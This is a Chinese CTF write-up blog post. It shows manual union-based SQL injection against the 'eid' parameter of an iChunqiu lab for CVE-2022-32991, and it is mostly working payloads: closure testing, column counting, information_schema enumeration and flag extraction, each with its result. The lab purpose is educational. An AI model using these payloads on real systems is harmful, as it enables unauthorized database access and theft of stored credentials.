CVE-2022-32991(1_手工注入)

/*这个是i春秋上的靶场*/

存在sql注入的url:http://eci-2ze2knq7i99iy3qim8fw.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=7&t=10
参数eid存在sql注入漏洞
———— 开始手工测试
eid=5b141f1e8399e' ------报错,eid=5b141f1e8399e'--+ 页面正常回显;------确定该参数为单引号字符型闭合
eid=5b141f1e8399e' 语句 --+
第二步,开始判断列数
eid=5b141f1e8399e'order by 3 --+ --------正常回显,可能不只三列
eid=5b141f1e8399e'order by 4 --+ --------正常回显,可能不只四列
eid=5b141f1e8399e'order by 5 --+ --------正常回显,可能不只五列
eid=5b141f1e8399e'order by 6 --+ --------页面报错,说明只有五列

第三步,判断回显位置
eid=5b141f1e8399e' union select 1,2,3,4,5 --+
发现回显位置为3,接下来可以使用union联合查询
第三步,开始查询当前数据库库名,版本号
eid=5b141f1e8399e' union select 111,222,database(),444,555 --+
eid=5b141f1e8399e' union select 111,222,version (),444,555 --+
eid=5b141f1e8399e' union select 111,222,user(),444,555 --+
-----当前数据库名为ctf
-----当前版本号 为10.3.34-MariaDB-0+deb10u1
-----当前用户 root@localhost
第四步,拿数据
语法:
group_concat(table_name) from information_schema.tables where table_schema='ctf' 查询ctf库的所有表名

group_concat(column_name)from information_schema.columns where table_name='users' 查询users表的所有字段名

group_concat(0x5c,username,0x5c,password) from users 查询user表 的username 和password字段中间用/连接

payload

查表名
eid=5b141f1e8399e' union select 111,222,group_concat(table_name) ,444,555 from information_schema.tables where table_schema='ctf'--+

得到所有表名 user,options,quiz,admin,questions,history,rank,flag,answer

查列名
eid=5b141f1e8399e' union select 111,222,group_concat(column_name) ,444,555 from information_schema.columns where table_name='flag'--+

得到字段名:flag

查数据
eid=5b141f1e8399e' union select 111,222,group_concat(0x5c,flag) ,444,555 from
flag--+
或者
eid=5b141f1e8399e' union select 111,222,flag ,444,555 from
flag--+
/* 0x5c,flag --以\falgl连接
得到数据:\flag{d9da906d-6a91-4361-a2d4-05fdeefc350c}
----- flag{d9da906d-6a91-4361-a2d4-05fdeefc350c}

 

完成,手工注入就这样结束啦~

posted @   糕冷のkecy  阅读(199)  评论(3编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
点击右上角即可分享
微信分享提示